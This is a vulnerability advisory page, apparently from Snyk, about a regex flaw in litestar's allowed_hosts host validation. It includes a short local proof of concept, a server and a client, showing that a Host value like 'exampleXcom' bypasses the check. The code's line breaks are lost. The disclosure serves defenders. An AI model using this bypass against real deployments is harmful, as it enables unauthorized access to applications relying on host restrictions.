Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade litestar to version 2.20.0 or higher.
litestar is a Litestar - A production-ready, highly performant, extensible ASGI API Framework
Affected versions of this package are vulnerable to Incorrect Regular Expression via the allowed_hosts host validation. An attacker can gain unauthorized access by supplying a specially crafted host value containing regex metacharacters that match unintended hosts.
Server
from litestar import Litestar, get from litestar.middleware.allowed_hosts import AllowedHostsConfig@get("/") async def index() -> str: return "ok"
config = AllowedHostsConfig(allowed_hosts=["example.com"]) app = Litestar([index], allowed_hosts_config=config) uvicorn poc_allowed_hosts_server:app --host 127.0.0.1 --port 8001
Client
import http.clientdef req(host_header: str) -> tuple[int, bytes]: c = http.client.HTTPConnection("127.0.0.1", 8001, timeout=3) c.request("GET", "/", headers={"Host": host_header}) r = c.getresponse() body = r.read() c.close() return r.status, body
print("evil.com:", *req("evil.com")) print("exampleXcom:", *req("exampleXcom"))
Expected (vulnerable behavior): Host: evil.com → 400 invalid host
Host: exampleXcom → 200 ok (bypass)